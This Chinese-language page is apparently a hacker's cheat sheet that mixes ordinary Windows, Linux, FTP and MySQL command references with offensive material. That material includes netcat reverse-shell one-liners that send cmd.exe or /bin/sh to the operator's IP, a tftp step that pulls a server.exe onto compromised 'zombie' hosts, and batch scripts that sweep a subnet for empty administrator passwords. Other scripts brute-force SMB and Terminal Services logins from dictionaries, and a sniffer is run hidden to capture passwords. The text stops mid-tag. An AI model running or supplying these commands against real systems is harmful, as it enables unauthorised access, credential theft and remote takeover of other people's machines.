复制对方***i$共享下的srv.exe文件（所有文件）至本地C： <br />xcopy 要复制的文件或目录树　目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件 <br />tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将“IP”的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送 <br />tftp -i 对方IP　put c:\server.exe 登陆后，上传本地c:\server.exe至主机 <br />ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时) <br />route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface <br />arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 <br />start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令 <br />mem 查看cpu使用情况 <br />attrib 文件名(目录名) 查看某文件（目录）的属性 <br />attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性 <br />dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间 <br />date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间 <br />set 指定环境变量名称=要指派给变量的字符 设置环境变量 <br />set 显示当前所有的环境变量 <br />set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 <br />pause 暂停批处理程序，并显示出：请按任意键继续.... <br />if 在批处理程序中执行条件处理（更多说明见if命令及变量） <br />goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签） <br />call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?） <br />for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量） <br />echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置 <br />echo 信息 在屏幕上显示出信息 <br />echo 信息 &gt;&gt; pass.txt 将"信息"保存到pass.txt文件中 <br />findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello <br />find 文件名 查找某文件 <br />title 标题名字 更改CMD窗口标题名字 <br />color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 <br />prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ )<br /></div>
		<div>
				<br />#3 三：</div>
		<div>ver 在DOS窗口下显示版本信息 <br />winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名） <br />format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS <br />md　目录名 创建目录 <br />replace 源文件　要替换文件的目录 替换文件 <br />ren 原文件名　新文件名 重命名文件名 <br />tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称 <br />type 文件名 显示文本文件的内容 <br />more 文件名 逐屏显示输出文件 <br />doskey 要锁定的命令＝字符<br />doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir= <br />taskmgr 调出任务管理器 <br />chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误 <br />tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口 <br />exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe <br />path 路径\可执行文件的文件名 为可执行文件设置一个路径。 <br />cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /? <br />regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示； <br />regedit /e 注册表文件名 导出注册表 <br />cacls 文件名　参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 <br />cacls 文件名 查看文件的访问用户权限列表 <br />REM 文本内容 在批处理文件中添加注解 <br />netsh 查看或更改本地网络配置情况<br /></div>
		<div>
				<br />#4 四：</div>
		<div>IIS服务命令： <br />iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现） <br />iisreset /start或stop 启动（停止）所有Internet服务 <br />iisreset /restart 停止然后重新启动所有Internet服务 <br />iisreset /status 显示所有Internet服务状态 <br />iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动 <br />iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机 <br />iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务 <br />iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。 <br />FTP 命令： (后面有详细说明内容) <br />ftp的命令行格式为:<br />ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。<br />－d 使用调试方式。 <br />－n 限制ftp的自动登录,即不使用.netrc文件。<br />－g 取消全局文件名。 <br />help [命令] 或 ？[命令] 查看命令说明 <br />bye 或 quit 终止主机FTP进程,并退出FTP管理方式. <br />pwd 列出当前远端主机目录 <br />put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 <br />get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 <br />mget [remote-files] 从远端主机接收一批文件至本地主机 <br />mput local-files 将本地主机中一批文件传送至远端主机 <br />dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 <br />ascii 设定以ASCII方式传送文件(缺省值) <br />bin 或 image 设定以二进制方式传送文件 <br />bell 每完成一次文件传送,报警提示 <br />cdup 返回上一级目录 <br />close 中断与远程服务器的ftp会话(与open对应) <br />open host[port] 建立指定ftp服务器连接,可指定连接端口 <br />delete 删除远端主机中的文件 <br />mdelete [remote-files] 删除一批文件 <br />mkdir directory-name 在远端主机中建立目录 <br />rename [from] [to] 改变远端主机中的文件名 <br />rmdir directory-name 删除远端主机中的目录 <br />status 显示当前FTP的状态 <br />system 显示远端主机系统类型 <br />user user-name [password] [account] 重新以别的用户名登录远端主机 <br />open host [port] 重新建立一个新的连接 <br />prompt 交互提示模式 <br />macdef 定义宏命令 <br />lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 <br />chmod 改变远端主机的文件权限 <br />case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 <br />cd remote－dir 进入远程主机目录 <br />cdup 进入远程主机目录的父目录 <br />! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip<br /></div>
		<div>
				<br />#5 五：</div>
		<div>MYSQL 命令： <br />mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。<br />（例：mysql -h110.110.110.110 -Uroot -P123456 <br />注:u与root可以不用加空格，其它也一样） <br />exit 退出MYSQL <br />mysql*** -u用户名 -p旧密码 password 新密码 修改密码 <br />grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符） <br />show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。 <br />use mysql；<br />show tables; 显示库中的数据表 <br />describe 表名; 显示数据表的结构 <br />create database 库名; 建库 <br />use 库名；<br />create table 表名 (字段设定列表)； 建表 <br />drop database 库名; <br />drop table 表名； 删库和删表 <br />delete from 表名; 将表中记录清空 <br />select * from 表名; 显示表中的记录 <br />mysqldump --opt school&gt;school.bbb 备份数据库：（命令在DOS的<a><font color="#249ede">\\mysql\\bin</font></a>目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。 <br />win2003系统下新增命令（实用部份）： <br />shutdown /参数 关闭或重启本地或远程主机。<br />参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。<br />例：shutdown /r /t 0 立即重启本地主机（无延时） <br />taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。<br />参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。 <br />tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。<br />参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。<br /></div>
		<div>
				<br />#6 六：</div>
		<div>Linux系统下基本命令： 要区分大小写 <br />uname 显示版本信息（同win2K的 ver） <br />dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir） <br />pwd 查询当前所在的目录位置 <br />cd cd　..回到上一层目录，注意cd 与..之间有空格。cd　/返回到根目录。 <br />cat 文件名 查看文件内容 <br />cat &gt;abc.txt 往abc.txt文件中写上内容。 <br />more 文件名 以一页一页的方式显示一个文本文件。 <br />cp 复制文件 <br />mv 移动文件 <br />rm 文件名 删除文件，rm -a 目录名删除目录及子目录 <br />mkdir 目录名 建立目录 <br />rmdir 删除子目录，目录内没有文档。 <br />chmod 设定档案或目录的存取权限 <br />grep 在档案中查找字符串 <br />diff 档案文件比较 <br />find 档案搜寻 <br />date 现在的日期、时间 <br />who 查询目前和你使用同一台机器的人以及Login时间地点 <br />w 查询目前上机者的详细资料 <br />whoami 查看自己的帐号名称 <br />groups 查看某人的Group <br />passwd 更改密码 <br />history 查看自己下过的命令 <br />ps 显示进程状态 <br />kill 停止某进程 <br />gcc 黑客通常用它来编译C语言写的文件 <br />su 权限转换为指定使用者 <br />telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。 <br />ftp ftp连接上某服务器（同win2K） <br /></div>
		<div>
				<br />
				<br />附：批处理命令与变量</div>
		<div>1：for命令及变量 基本格式： <br />FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。<br />批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—%9指输入的第2-9个值；例：net use <a><font color="#249ede">\\ip\ipc$</font></a> pass /user:user 中ip为%1,pass为%2 ,user为%3</div>
		<div>(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；“(1 -1 254)”说明：即从254到1 }</div>
		<div>command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：&amp; 来隔开<br />command_parameters：为特定命令指定参数或命令行开关</div>
		<div>IN (set)：指在(set)中取值；DO command ：指执行command</div>
		<div>参数：/L 指用增量形式{ (set)为增量形式时 }；/F 指从文件中不断取值，直到取完为止{ (set)为文件时，如(d:\pass.txt)时 }。 <br />用法举例： <br />@echo off <br />echo 用法格式：test.bat *.*.* &gt; test.txt </div>
		<div>for /L %%G in (1 1 254) do echo %1.%%G &gt;&gt;test.txt &amp; net use <a><font color="#249ede">\\%1.%%G</font></a> /user:***istrator | find "命令成功完成" &gt;&gt;test.txt <br />存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立***istrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。</div>
		<div>/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；&amp; 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。 <br />@echo off <br />echo 用法格式：ok.bat ip <br />FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 <br />存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。<br /></div>
		<div>
				<br />#7 七：</div>
		<div>2：if命令及变量 基本格式： <br />IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为“真”。<br />例：IF errorlevel 0 命令 指程序执行后返回的值为0时，就值行后面的命令；IF not errorlevel 1 命令指程序执行最后返回的值不等于1，就执行后面的命令。<br />0 指发现并成功执行（真）；1 指没有发现、没执行（假）。 <br />IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配（即：字符串1 等于 字符串2），就执行后面的命令。<br />例：“if "%2%"=="4" goto start”指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变量时就%变量名%并加" "） <br />IF [not] exist 文件名 命令语句 如果指定的文件名存在，就执行后面的命令。<br />例：“if not nc.exe goto end”指：如果没有发现nc.exe文件就跳到":end"标签处。 <br />IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上：else 命令语句后指：当前面的条件不成立时，就指行else后面的命令。注意：else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用&lt; &gt;括起来，因为del命令要单独一行时才能执行，用上&lt; &gt;后就等于是单独一行了；例如：“if exist test.txt. &lt;del test.txt.&gt; else echo test.txt.missing ”，注意命令中的“.” <br /></div>
		<div>
				<br />（二）系统外部命令(均需下载相关工具)：</div>
		<div>1、瑞士军刀：nc.exe</div>
		<div>参数说明： <br />-h 查看帮助信息 <br />-d 后台模式 <br />-e prog程序重定向，一但连接就执行［危险］ <br />-i secs延时的间隔 <br />-l 监听模式，用于入站连接 <br />-L 监听模式，连接天闭后仍然继续监听，直到CTR+C <br />-n IP地址，不能用域名 <br />-o film记录16进制的传输 <br />-p[空格]端口 本地端口号 <br />-r 随机本地及远程端口 <br />-t 使用Telnet交互方式 <br />-u UDP模式 <br />-v 详细输出，用-vv将更详细 <br />-w数字 timeout延时间隔 <br />-z 将输入，输出关掉（用于扫锚时） <br />基本用法： <br />nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 <br />nc -l -p 80 开启本机的TCP 80端口并监听 <br />nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 <br />nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 <br />nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 <br />高级用法： <br />nc -L -p 80 作为蜜罐用1：开启并不停地监听80端口，直到CTR+C为止 <br />nc -L -p 80 &gt; c:\log.txt 作为蜜罐用2：开启并不停地监听80端口，直到CTR+C,同时把结果输出到c:\log.txt <br />nc -L -p 80 &lt; c:\honeyport.txt 作为蜜罐用3-1：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中，亦可起到传送文件作用 <br />type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用 <br />本机上用：nc -l -p 本机端口 <br />在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K<br />nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 <br />本机上用：nc -d -l -p 本机端口 &lt; 要传送的文件路径及名称 <br />在对方主机上用：nc -vv 本机IP 本机端口 &gt; 存放文件的路径及名称 传送文件到对方主机 <br />备 注： <br />| 管道命令 <br />&lt; 或 &gt; 重定向命令。“&lt;”，例如：tlntadmn &lt; test.txt 指把test.txt的内容赋值给tlntadmn命令 <br />＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:\winnt &gt;&gt; d:\log.txt 意思是：后台执行dir，并把结果存在d:\log.txt中 <br />&gt;与&gt;&gt;的区别 　"&gt;"指：覆盖；"&gt;&gt;"指：保存到(添加到）。<br />如：@dir c:\winnt &gt;&gt; d:\log.txt和@dir c:\winnt &gt; d:\log.txt二个命令分别执行二次比较看：用&gt;&gt;的则是把二次的结果都保存了，而用：&gt;则只有一次的结果，是因为第二次的结果把第一次的覆盖了。<br /></div>
		<div>
				<br />
				<br />#8 八：</div>
		<div>2、扫锚工具：xscan.exe</div>
		<div>基本格式 <br />xscan -host &lt;起始IP&gt;[-&lt;终止IP&gt;] &lt;检测项目&gt; [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息 <br />xscan -file &lt;主机列表文件名&gt; &lt;检测项目&gt; [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息 <br />检测项目 <br />-active 检测主机是否存活 <br />-os 检测远程操作系统类型（通过NETBIOS和SNMP协议） <br />-port 检测常用服务的端口状态 <br />-ftp 检测FTP弱口令 <br />-pub 检测FTP服务匿名用户写权限 <br />-pop3 检测POP3-Server弱口令 <br />-smtp 检测SMTP-Server漏洞 <br />-sql 检测SQL-Server弱口令 <br />-smb 检测NT-Server弱口令 <br />-iis 检测IIS编码/解码漏洞 <br />-cgi 检测CGI漏洞 <br />-nasl 加载Nessus攻击脚本 <br />-all 检测以上所有项目 <br />其它选项 <br />-i 适配器编号 设置网络适配器, &lt;适配器编号&gt;可通过"-l"参数获取 <br />-l 显示所有网络适配器 <br />-v 显示详细扫描进度 <br />-p 跳过没有响应的主机 <br />-o 跳过没有检测到开放端口的主机 <br />　 -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10 <br />-log 文件名 指定扫描报告文件名 (后缀为：TXT或HTML格式的文件) <br />用法示例 <br />xscan -host 192.168.1.1-192.168.255.255 -all -active -p　 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞，跳过无响应的主机 <br />xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态，NT弱口令用户，最大并发线程数量为150，跳过没有检测到开放端口的主机 <br />xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态，CGI漏洞，最大并发线程数量为200，同一时刻最多检测5台主机，显示详细检测进度，跳过没有检测到开放端口的主机<br /></div>
		<div>
				<br />
				<br />#9 九：</div>
		<div>3、命令行方式嗅探器: xsniff.exe<br />可捕获局域网内FTP/SMTP/POP3/HTTP协议密码<br />参数说明 <br />-tcp 输出TCP数据报 <br />-udp 输出UDP数据报 <br />-icmp 输出ICMP数据报 <br />-pass 过滤密码信息 <br />-hide 后台运行 <br />-host 解析主机名 <br />-addr IP地址 过滤IP地址 <br />-port 端口 过滤端口 <br />-log 文件名 将输出保存到文件 <br />-asc 以ASCII形式输出 <br />-hex 以16进制形式输出 <br />用法示例 <br />xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中 <br />xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出 </div>
		<div>4、终端服务密码破解: tscrack.exe</div>
		<div>参数说明 <br />-h 显示使用帮助 <br />-v 显示版本信息 <br />-s 在屏幕上打出解密能力 <br />-b 密码错误时发出的声音 <br />-t 同是发出多个连接（多线程） <br />-N Prevent System Log entries on targeted server <br />-U 卸载移除tscrack组件 <br />-f 使用－f后面的密码 <br />-F 间隔时间（频率） <br />-l 使用－l后面的用户名 <br />-w 使用－w后面的密码字典 <br />-p 使用－p后面的密码 <br />-D 登录主页面 <br />用法示例 <br />tscrack 192.168.0.1 -l ***istrator -w pass.dic 远程用密码字典文件暴破主机的***istrator的登陆密码 <br />tscrack 192.168.0.1 -l ***istrator -p 123456 用密码123456远程登陆192.168.0.1的***istrator用户 <br />@if not exist ipcscan.txt goto noscan <br />@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i <br />nscan <br />@echo 3389.txt no find or scan faild <br />(①存为3389.bat) （假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt) <br />3389.bat意思是：从3389.txt文件中取一个IP，接着运行hack.bat <br />@if not exist tscrack.exe goto noscan <br />@tscrack %1 -l ***istrator -w pass.dic &gt;&gt;rouji.txt <br />:noscan <br />@echo tscrack.exe no find or scan faild <br />(②存为hack.bat) (运行3389.bat就OK，且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下；就可以等待结果了) <br />hack.bat意思是：运行tscrack.exe用字典暴破3389.txt中所有主机的***istrator密码，并将破解结果保存在rouji.txt文件中。 <br /></div>
		<div>
				<br />
				<br />5、其它：</div>
		<div>Shutdown.exe <br />Shutdown <a><font color="#249ede">\\IP</font></a>地址 t:20 20秒后将对方NT自动关闭（Windows 2003系统自带工具，在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。） <br />fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明（端口重定向绕过防火墙） <br />fpipe -l 80 -s 1029 -r 80 <a href="http://www.sina.com.cn/"><font color="#249ede">www.sina.com.cn</font></a> 当有人扫锚你的80端口时，他扫到的结果会完全是<a href="http://www.sina.com.cn/"><font color="#249ede">www.sina.com.cn</font></a>的主机信息 <br />Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后，就通过88端口发送到目标IP的23端口。（与目标IP建立Telnet时本机就用的88端口与其相连接）然后：直接Telnet 127.0.0.1（本机IP）就连接到目标IP的23端口了。 <br />OpenTelnet.exe (远程开启telnet工具) <br />opentelnet.exe <a><font color="#249ede">\\IP</font></a> 帐号　密码　ntlm认证方式　Telnet端口 （不需要上传ntlm.exe破坏微软的身份验证方式）直接远程开启对方的telnet服务后，就可用telnet <a><font color="#249ede">\\ip</font></a> 连接上对方。<br />NTLM认证方式：０：不使用NTLM身份验证；１：先尝试NTLM身份验证，如果失败，再使用用户名和密码；２：只使用NTLM身份验证。</div>
		<div>ResumeTelnet.exe (OpenTelnet附带的另一个工具) <br />resumetelnet.exe <a><font color="#249ede">\\IP</font></a>　帐号　密码 用Telnet连接完对方后，就用这个命令将对方的Telnet设置还原，并同时关闭Telnet服务。<br /></div>
		<div>
				<br />#10 十：</div>
		<div>6、FTP命令详解：</div>
		<div>FTP命令是Internet用户使用最频繁的命令之一，熟悉并灵活应用FTP的内部命令，可以大大方便使用者，并收到事半功倍之效。如果你想学习使用进行后台FTP下载，那么就必须学习FTP指令。</div>
		<div>FTP的命令行格式为： <br />ftp -v -d -i -n -g [主机名] ，其中</div>
		<div>-v 显示远程服务器的所有响应信息；</div>
		<div>-n 限制ftp的自动登录，即不使用；.n etrc文件；</div>
		<div>-d 使用调试方式；</div>
		<div>-g 取消全局文件名。</div>
		<div>FTP使用的内部命令如下(中括号表示可选项):</div>
		<div>1.![cmd[args]]：在本地机中执行交互shell，exit回到ftp环境，如：!ls*.zip <br />2.$ macro-ame[args]： 执行宏定义macro-name。</div>
		<div>3.account[password]： 提供登录远程系统成功后访问系统资源所需的补充口令。 <br />4.append local-file[remote-file]：将本地文件追加到远程系统主机，若未指定远程系统文件名，则使用本地文件名。</div>
		<div>5.ascii：使用ascii类型传输方式。<br />6.bell：每个命令执行完毕后计算机响铃一次。</div>
		<div>7.bin：使用二进制文件传输方式。<br />8.bye：退出ftp会话过程。</div>
		<div>9.case：在使用mget时，将远程主机文件名中的大写转为小写字母。 <br />10.cd remote-dir：进入远程主机目录。</div>
		<div>11.cdup：进入远程主机目录的父目录。 <br />12.chmod mode file-name：将远程主机文件file-name的存取方式设置为mode，如：chmod 777 a.out。</div>
		<div>13.close：中断与远程服务器的ftp会话(与open对应)。 <br />14.cr：使用asscii方式传输文件时，将回车换行转换为回行。</div>
		<div>15.delete remote-file：删除远程主机文件。 <br />16.debug[debug-value]：设置调试方式， 显示发送至远程主机的每条命令，如：deb up 3，若设为0，表示取消debug。</div>
		<div>17.dir[remote-dir][local-file]：显示远程主机目录，并将结果存入本地文件。 <br />18.disconnection：同close。</div>
		<div>19.form format：将文件传输方式设置为format，缺省为file方式。 <br />20.get remote-file[local-file]： 将远程主机的文件remote-file传至本地硬盘的local-file。</div>
		<div>21.glob：设置mdelete，mget，mput的文件名扩展，缺省时不扩展文件名，同命令行的-g参数。 <br />22.hash：每传输1024字节，显示一个hash符号(#)。</div>
		<div>23.help[cmd]：显示ftp内部命令cmd的帮助信息，如：help get。 <br />24.idle[seconds]：将远程服务器的休眠计时器设为[seconds]秒。</div>
		<div>25.image：设置二进制传输方式(同binary)。 <br />26.lcd[dir]：将本地工作目录切换至dir。</div>
		<div>27.ls[remote-dir][local-file]：显示远程目录remote-dir， 并存入本地文件local-file。 <br />28.macdef macro-name：定义一个宏，遇到macdef下的空行时，宏定义结束。</div>
		<div>29.mdelete[remote-file]：删除远程主机文件。 <br />30.mdir remote-files local-file：与dir类似，但可指定多个远程文件，如 ：mdir *.o.*.zipoutfile 。</div>
		<div>31.mget remote-files：传输多个远程文件。 <br />32.mkdir dir-name：在远程主机中建一目录。</div>
		<div>33.mls remote-file local-file：同nlist，但可指定多个文件名。 <br />34.mode[modename]：将文件传输方式设置为modename， 缺省为stream方式。</div>
		<div>35.modtime file-name：显示远程主机文件的最后修改时间。 <br />36.mput local-file：将多个文件传输至远程主机。</div>
		<div>37.newer file-name： 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近，则重传该文件。<br />38.nlist[remote-dir][local-file]：显示远程主机目录的文件清单，并存入本地硬盘的local-file。</div>
		<div>39.nmap[inpattern outpattern]：设置文件名映射机制， 使得文件传输时，文件中的某些字符相互转换， 如：nmap $1.$2.$3[$1，$2].[$2，$3]，则传输文件a1.a2.a3时，文件名变为a1，a2。 该命令特别适用于远程主机为非UNIX机的情况。<br />40.ntrans[inchars[outchars]]：设置文件名字符的翻译机制，如ntrans1R，则文件名LLL将变为RRR。</div>
		<div>41.open host[port]：建立指定ftp服务器连接，可指定连接端口。 <br />42.passive：进入被动传输方式。</div>
		<div>43.prompt：设置多个文件传输时的交互提示。 <br />44.proxy ftp-cmd：在次要控制连接中，执行一条ftp命令， 该命令允许连接两个ftp服务器，以在两个服务器间传输文件。第一条ftp命令必须为open，以首先建立两个服务器间的连接。<br />45.put local-file[remote-file]：将本地文件local-file传送至远程主机。 <br />46.pwd：显示远程主机的当前工作目录。</div>
		<div>47.quit：同bye，退出ftp会话。 <br />48.quote arg1，arg2...：将参数逐字发至远程ftp服务器，如：quote syst.</div>
		<div>49.recv remote-file[local-file]：同get。 <br />50.reget remote-file[local-file]：类似于get， 但若local-file存在，则从上次传输中断处续传。</div>
		<div>51.rhelp[cmd-name]：请求获得远程主机的帮助。 <br />52.rstatus[file-name]：若未指定文件名，则显示远程主机的状态， 否则显示文件状态。</div>
		<div>53.rename[from][to]：更改远程主机文件名。 <br />54.reset：清除回答队列。</div>
		<div>55.restart marker：从指定的标志marker处，重新开始get或put，如：restart 130。 <br />56.rmdir dir-name：删除远程主机目录。</div>
		<div>57.runique：设置文件名只一性存储，若文件存在，则在原文件后加后缀.1， .2等。 <br />58.send local-file[remote-file]：同put。</div>
		<div>59.sendport：设置PORT命令的使用。 <br />60.site arg1，arg2...：将参数作为SITE命令逐字发送至远程ftp主机。</div>
		<div>61.size file-name：显示远程主机文件大小，如：site idle 7200。 <br />62.status：显示当前ftp状态。</div>
		<div>63.struct[struct-name]：将文件传输结构设置为struct-name， 缺省时使用stream结构。 <br />64.sunique：将远程主机文件名存储设置为只一(与runique对应)。</div>
		<div>65.system：显示远程主机的操作系统类型。 <br />66.tenex：将文件传输类型设置为TENEX机的所需的类型。</div>
		<div>67.tick：设置传输时的字节计数器。 <br />68.trace：设置包跟踪。</div>
		<div>69.type[type-name]：设置文件传输类型为type-name，缺省为ascii，如:type binary，设置二进制传输方式。 <br />70.umask[newmask]：将远程服务器的缺省umask设置为newmask，如：umask 3</div>
		<div>71.user user-name[password][account]：向远程主机表明自己的身份，需要口令时，必须输入口令，如：user anonymous <a href="mailto:my@email"><font color="#249ede">my@email</font></a>。 <br />72.verbose：同命令行的-v参数，即设置详尽报告方式，ftp 服务器的所有响 应都将显示给用户，缺省为on.</div>
		<div>73.?[cmd]：同help.<br /></div>
		<div>
				<br />#11 十一：</div>
		<div>7：计算机运行命令全集 winver---------检查Windows版本<br />wmimgmt.msc----打开windows管理体系结构<br />wupdmgr--------windows更新程序<br />winver---------检查Windows版本<br />wmimgmt.msc----打开windows管理体系结构<br />wupdmgr--------windows更新程序<br />wscript--------windows脚本宿主设置<br />write----------写字板winmsd-----系统信息<br />wiaacmgr-------扫描仪和照相机向导<br />winchat--------XP自带局域网聊天<br />mem.exe--------显示内存使用情况<br />Msconfig.exe---系统配置实用程序 <br />mplayer2-------简易widnows media player<br />mspaint--------画图板<br />mstsc----------远程桌面连接<br />mplayer2-------媒体播放机<br />magnify--------放大镜实用程序<br />mmc------------打开控制台<br />mobsync--------同步命令<br />dxdiag---------检查DirectX信息<br />drwtsn32------ 系统医生<br />devmgmt.msc--- 设备管理器<br />dfrg.msc-------磁盘碎片整理程序<br 